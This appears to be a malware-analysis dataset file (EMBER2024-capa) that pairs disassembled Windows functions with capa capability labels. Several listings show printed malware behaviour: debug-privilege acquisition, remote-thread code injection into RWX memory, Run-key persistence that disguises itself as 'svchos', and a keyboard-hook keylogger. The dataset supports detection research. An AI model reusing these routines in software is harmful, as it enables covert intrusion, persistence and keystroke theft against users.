joyce8/EMBER2024-capa huggingface dataset:
Function at 0x129b94c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x118]
push edi
lea edi, [eax + ebp]
cmp eax, 8
ja 0x129b96f
push 0xffffffffffffffe2
pop eax
jmp 0x129bb04
push ebx
mov ebx, dword [esp + 0x11c]
push esi
push 0x800
lea esi, [ebp + 8]
lea eax, [ebx + 0x5410]
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [ebx + 0x140c]
push esi
push eax
call fcn.0129dc43
add esp, 0x14
cmp eax, 0xffffff88
ja 0x129baff
add esi, eax
mov dword [esp + 0x18], 0x1c
mov eax, edi
sub eax, esi
push eax
push esi
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0129bb6e
add esp, 0x14
mov dword [esp + 0x10], eax
cmp eax, 0xffffff88
ja 0x129baff
cmp dword [esp + 0x14], 8
ja 0x129baff
push dword [esp + 0x14]
lea eax, [esp + 0x30]
push dword [esp + 0x1c]
push eax
lea eax, [ebx + 0x804]
push eax
call fcn.0129c029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x129baff
add esi, dword [esp + 0x10]
mov eax, edi
sub eax, esi
mov dword [esp + 0x20], 0x34
push eax
push esi
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xc0]
push eax
call fcn.0129bb6e
add esp, 0x14
mov dword [esp + 0x10], eax
cmp eax, 0xffffff88
ja 0x129baff
cmp dword [esp + 0x1c], 9
ja 0x129baff
push dword [esp + 0x1c]
lea eax, [esp + 0xb4]
push dword [esp + 0x24]
push eax
lea eax, [ebx + 0xc08]
push eax
call fcn.0129c029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x129baff
add esi, dword [esp + 0x10]
mov eax, edi
sub eax, esi
mov dword [esp + 0x10], 0x23
push eax
push esi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x78]
push eax
call fcn.0129bb6e
add esp, 0x14
mov dword [esp + 0x28], eax
cmp eax, 0xffffff88
ja 0x129baff
cmp dword [esp + 0x24], 9
ja 0x129baff
push dword [esp + 0x24]
lea eax, [esp + 0x6c]
push dword [esp + 0x14]
push eax
push ebx
call fcn.0129c029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x129baff
add esi, dword [esp + 0x28]
lea eax, [esi + 0xc]
cmp eax, edi
ja 0x129baff
sub edi, esi
xor edx, edx
sub edi, 0xc
add ebx, 0x5c10
mov ecx, dword [esi]
add esi, 4
test ecx, ecx
je 0x129baff
cmp ecx, edi
jae 0x129baff
mov dword [ebx], ecx
inc edx
add ebx, 4
cmp edx, 3
jl 0x129bae1
sub esi, ebp
mov eax, esi
jmp 0x129bb02
push 0xffffffffffffffe2
pop eax
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x10c
ret
Function at 0x30001fd0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [esp + 4]
push esi
push eax
push str.SeDebugPrivilege
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x3000200d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LookupPrivilegeValue_error:__u_n
call fcn.30001270
add esp, 8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 8]
push 0
push 0
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
push 0x10
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1c]
push eax
push 0
push esi
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x30002060
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.AdjustTokenPrivileges_error:__u_n
call fcn.30001270
add esp, 8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x30002081
push str.The_token_does_not_have_the_specified_privilege.__n
call fcn.30001270
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x30002090
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 8], 0
push edi
push 2
mov esi, ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x24c], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, 0xffffffff
je 0x30002290
lea eax, [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x30002290
lea eax, [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x30002289
add esi, 0x20c
nop dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x244]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x30002269
push 0x103
lea eax, [ebp - 0x228]
push eax
lea eax, [esi - 0x20c]
push eax
call fcn.30007b6b
mov eax, dword [ebp - 0x244]
add esp, 0xc
mov dword [esi - 4], eax
lea eax, [ebp - 8]
push eax
push 0x20008
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x3000225d
lea eax, [ebp - 4]
push eax
push 0
push edi
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 4]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x1c], edi
push edi
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x30002245
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 0
push eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0
push eax
push 0
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
add eax, eax
push eax
push 0
call edi
mov ecx, dword [ebp - 0xc]
add ecx, ecx
mov dword [ebp - 0x18], eax
push ecx
push 0
call edi
mov edi, eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x18]
push dword [eax]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
cmp word [edi], 0x4e
jne 0x3000222c
cmp word [edi + 2], 0x54
jne 0x3000222c
cmp word [edi + 6], 0x41
jne 0x3000222c
mov dword [esi], 1
jmp 0x30002232
mov dword [esi], 2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call edi
push dword [ebp - 0x18]
call edi
mov edi, dword [ebp - 0x1c]
jmp 0x3000224b
mov dword [esi], 5
push edi
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x30002263
mov dword [esi], 0
add esi, 0x210
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x20]
lea eax, [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x30002100
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x300022a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push esi
push edi
push 0x32
lea eax, [ebp - 0x64]
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edi, [ebp - 0x64]
xor eax, eax
add edi, 0xfffffffe
mov word [ebp - 0x60], ax
test esi, esi
je 0x300022e2
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x300022c6
mov ecx, 0x14
mov esi, str.Documents_and_SettingsDefault_User_sys
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x300022fa
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x300022e2
mov ecx, 9
mov esi, str.usersPublic_sys
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
lea eax, [ebp - 0x64]
push 0
push 2
push 3
push 0
push 0
push 0x40000000
push eax
call edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x3000233c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 2
pop esi
mov esp, ebp
pop ebp
ret
mov esi, 1
test eax, eax
je 0x30002360
push 0
push 2
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x64]
push eax
call edi
neg eax
sbb eax, eax
and esi, eax
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x30002370
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 0
mov esi, ecx
call ebx
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x3000239e
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
test edi, edi
jne 0x300023b4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x3c]
push 0
mov eax, dword [eax + edi + 0x50]
mov dword [ebp - 4], eax
call ebx
push 0x40
push 0x3000
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x30002400
push 0xa
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.30007cb1
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [ebp - 4]
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x3000243d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov eax, 2
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push ebx
push 0x30001b80
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x3000247e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov eax, 3
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 5
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x30004d70
Capabilities:
Create process on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
lea eax, [ebp - 0xc8]
push ebx
push esi
push edi
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edx, str.System32cmd.exe
lea ecx, [ebp - 0xc8]
call fcn.30001a70
call fcn.30004cf0
mov ebx, eax
lea eax, [ebp - 0x848]
push 0x140
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x430
lea eax, [ebp - 0x4f8]
mov ecx, 0x34
mov esi, str._C_REG_ADD__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun___v__svchos___t_REG_SZ__d__
lea edi, [ebp - 0x5c8]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.30001b50
add esp, 0xc
lea edx, [ebp - 0x848]
lea ecx, [ebp - 0x5c8]
call fcn.30001a70
mov edx, str.___f
lea ecx, [ebp - 0x5c8]
call fcn.30001a70
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x30004e16
mov edx, str.__reg:64
lea ecx, [ebp - 0x5c8]
call fcn.30001a70
push 0
push 0
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0xc8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x11386
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x1401c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x204]
push eax
xor esi, esi
call fcn.0001106e
cmp word [ebp - 0x204], si
jne 0x113ba
xor eax, eax
jmp 0x11481
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push esi
push esi
push 0x820
push 3
push 3
push 0x80
lea eax, [ebp - 0x238]
mov dword [ebp - 0x228], eax
push esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x230]
push eax
push 0x120116
lea eax, [ebp - 0x208]
push eax
mov dword [ebp - 0x230], 0x18
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x224], 0x40
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x21c], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x1147f
mov eax, dword [ebp + 8]
push esi
push esi
push 8
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x210]
push eax
push esi
push esi
push esi
push dword [ebp - 0x208]
mov dword [ebp - 0x218], 0x58
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
jl 0x11473
mov esi, dword [ebp - 0x20c]
push dword [ebp - 0x208]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0001228d
leave
ret 4
Function at 0x15bbc
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x818
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push edi
xor edi, edi
push edi
push 0xa
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], edi
call esi
mov ebx, eax
lea eax, [ebp - 8]
push eax
push edi
push ebx
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
push edi
push ebx
cmp eax, 0xc0000004
jne 0x15cc6
mov ebx, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
call ebx
push edi
push dword [ebp - 8]
push edi
call esi
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, edi
je 0x15ccc
push edi
push dword [ebp - 8]
push esi
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
jge 0x15c32
push edi
push esi
call ebx
jmp 0x15ccc
push 0x800
lea eax, [ebp - 0x818]
push edi
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], edi
push dword [esi + 0x44]
call fcn.00011496
test eax, eax
jl 0x15c7a
mov ecx, dword [esi + 0x44]
xor eax, eax
mov edx, dword [ebp - 0x14]
cmp dword [eax + edx], ecx
je 0x15c71
inc eax
cmp eax, 0x200
jb 0x15c5f
jmp 0x15c7a
lea eax, [ebp + eax*4 - 0x818]
inc dword [eax]
mov eax, dword [esi]
cmp eax, edi
je 0x15c84
add esi, eax
jmp 0x15c47
xor eax, eax
mov ecx, dword [ebp + eax*4 - 0x818]
cmp dword [ebp - 0x10], ecx
jae 0x15c98
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], eax
inc eax
cmp eax, 0x200
jb 0x15c86
mov eax, dword [ebp - 4]
cmp eax, edi
jbe 0x15cae
mov dword [ebp - 0xc], 1
push edi
push dword [ebp - 0x18]
mov dword [0x1425c], eax
add eax, 4
mov dword [0x14260], eax
call ebx
mov eax, dword [ebp - 0xc]
jmp 0x15cce
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x15f9a
Capabilities:
Get file attributes
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [ebp + 8]
push esi
push edi
push 0x18
pop edi
push 0x820
mov dword [ebp - 0x1c], eax
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
xor esi, esi
push 0x120089
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], 0x40
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
jge 0x15feb
xor eax, eax
jmp 0x1605c
push 5
push edi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
jge 0x1600e
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x15fe7
push esi
push dword [ebp - 0x34]
push esi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
cmp edi, esi
je 0x16003
push esi
push esi
push dword [ebp - 0x34]
lea eax, [ebp - 0xc]
push edi
push eax
push esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
push dword [ebp - 4]
test eax, eax
jge 0x1604c
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push esi
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x15fe7
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, edi
pop edi
pop esi
leave
ret 8

Function at 0x160bc
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push edi
xor ebx, ebx
push ebx
push 0xa
push ebx
call esi
mov edi, eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
push ebx
push edi
cmp eax, 0xc0000004
jne 0x1617d
mov edi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
call edi
push ebx
push dword [ebp - 4]
push ebx
call esi
mov esi, eax
cmp esi, ebx
je 0x16183
push ebx
push dword [ebp - 4]
push esi
push 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
jge 0x1611c
push ebx
push esi
call edi
jmp 0x16183
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
lea eax, [esi + 0x20]
push 0x5c
push eax
call dword [sym.imp.ntoskrnl.exe_strrchr]
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
push 1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlAnsiStringToUnicodeString]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
sub eax, ecx
movzx edx, word [ecx]
mov word [eax + ecx], dx
inc ecx
inc ecx
cmp dx, bx
jne 0x1615c
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlFreeUnicodeString]
push ebx
push esi
call edi
mov eax, dword [ebp - 8]
jmp 0x16185
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x16192
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push edi
xor ebx, ebx
push ebx
push 0xa
push ebx
call esi
mov edi, eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
push ebx
push edi
cmp eax, 0xc0000004
jne 0x16232
mov edi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
call edi
push ebx
push dword [ebp - 4]
push ebx
call esi
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, ebx
je 0x16238
push ebx
push dword [ebp - 4]
push esi
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
jge 0x161f1
push ebx
push esi
call edi
jmp 0x16238
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov eax, esi
add eax, 0x38
jmp 0x16210
mov eax, dword [esi]
cmp eax, ebx
je 0x16226
add esi, eax
lea eax, [esi + 0x38]
push 1
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
test eax, eax
jne 0x16205
mov esi, dword [esi + 0x44]
jmp 0x16228
mov esi, ebx
push ebx
push dword [ebp - 8]
call edi
mov eax, esi
jmp 0x1623a
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x16246
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ebp + 0xc]
add eax, ecx
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
cmp edx, dword [ecx + 0xc]
jae 0x16267
mov eax, edx
jmp 0x16292
push ebx
push esi
movzx esi, word [eax + 6]
push edi
xor edi, edi
test esi, esi
jbe 0x1628c
mov eax, dword [ecx + 0xc]
cmp edx, eax
jb 0x16284
mov ebx, dword [ecx + 8]
add ebx, eax
cmp edx, ebx
jb 0x16296
add ecx, 0x28
inc edi
cmp edi, esi
jb 0x16274
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret 8
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edx
jmp 0x1628f
Function at 0x4011d0
Capabilities:
Delete file
Log keystrokes via application hook

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x20]
mov eax, ebp
push esi
dec eax
je 0x401258
dec eax
je 0x40121a
sub eax, 0x111
jne 0x40135c
mov esi, dword [sym.imp.USER32.dll_PostMessageA]
push 0x200001
push 0x1b
push 0x100
push ebx
call esi
push 0xc0200001
push 0x1b
push 0x101
push ebx
call esi
jmp 0x40135c
mov eax, dword [0x4042f8]
mov esi, dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push eax
call esi
mov ecx, dword [0x4042fc]
push ecx
call esi
mov ecx, dword [0x4042f4]
test ecx, ecx
je 0x401242
mov edx, dword [ecx]
push 1
call dword [edx + 4]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x4041a8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40135c
push 0x4041a8
call fcn.004014a0
add esp, 4
test eax, eax
jne 0x401272
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x10
push 0
call sub.MFC42.DLL_AfxEnableControlContainer
add esp, 4
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0xc]
mov dword [0x4042f0], ebx
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClientRect]
push ebx
mov ecx, 0x4042b0
call sub.MFC42.DLL_CWnd::Attach
push 0x40
call sub.MFC42.DLL_operatornew
mov esi, eax
add esp, 4
test esi, esi
je 0x4012c2
mov ecx, esi
call fcn.00402136
mov dword [esi], 0x403228
mov ecx, esi
jmp 0x4012c4
xor ecx, ecx
push edi
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [esp + 0x20]
push 0x4042b0
push edx
push 0x50000000
push str.MengHui
push 0x4032e8
mov dword [0x4042f4], ecx
call sub.MFC42.DLL_CWnd::CreateControl
mov ecx, dword [0x4042f4]
push 1
call fcn.004010d0
mov ecx, dword [0x4042f4]
push 0x4041a8
push 0
call fcn.00401110
mov ecx, dword [0x4042f4]
call fcn.004010f0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
call esi
mov edi, dword [sym.imp.USER32.dll_SetWindowsHookExA]
push eax
push 0x401400
push 7
call edi
push 0
push 0
mov dword [0x4042f8], eax
call esi
push eax
push 0x401440
push 2
call edi
mov ecx, 0x4042b0
mov dword [0x4042fc], eax
call sub.MFC42.DLL_CWnd::Detach
pop edi
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
push eax
push ecx
push ebp
push ebx
call fcn.004017fd
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x10
Function at 0x4014a0
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
push 0x404120
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4015fd
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0xfffffffffffffffc
push esi
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 4
push edx
call edi
mov eax, dword [esp + 0x2c]
add esp, 0x1c
cmp eax, 0x1000000
jg 0x4015f3
mov ecx, 0xfffffffc
push 2
sub ecx, eax
push ecx
push esi
call ebx
add esp, 0xc
test eax, eax
jne 0x4015f3
push esi
push 1
lea edx, [esp + 0x1c]
push 3
push edx
mov dword [esp + 0x24], eax
call edi
push 1
push 0xfffffffffffffffd
push esi
call ebx
mov eax, dword [esp + 0x30]
add esp, 0x1c
cmp eax, 0x535746
jne 0x4015f3
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4015f3
mov ecx, dword [esp + 0x10]
push esi
push 1
push ecx
push ebx
call edi
mov ebp, dword [sym.imp.MSVCRT.dll_fclose]
push esi
call ebp
add esp, 0x14
lea edx, [esp + 0x18]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [esp + 0x120]
lea eax, [esp + 0x18]
push edi
push 0
push 0x40411c
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x404118
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x4015c7
push esi
call ebp
push ebx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
mov ecx, dword [esp + 0x10]
push edi
push 1
push ecx
push ebx
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_free]
push edi
call ebp
add esp, 0x18
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret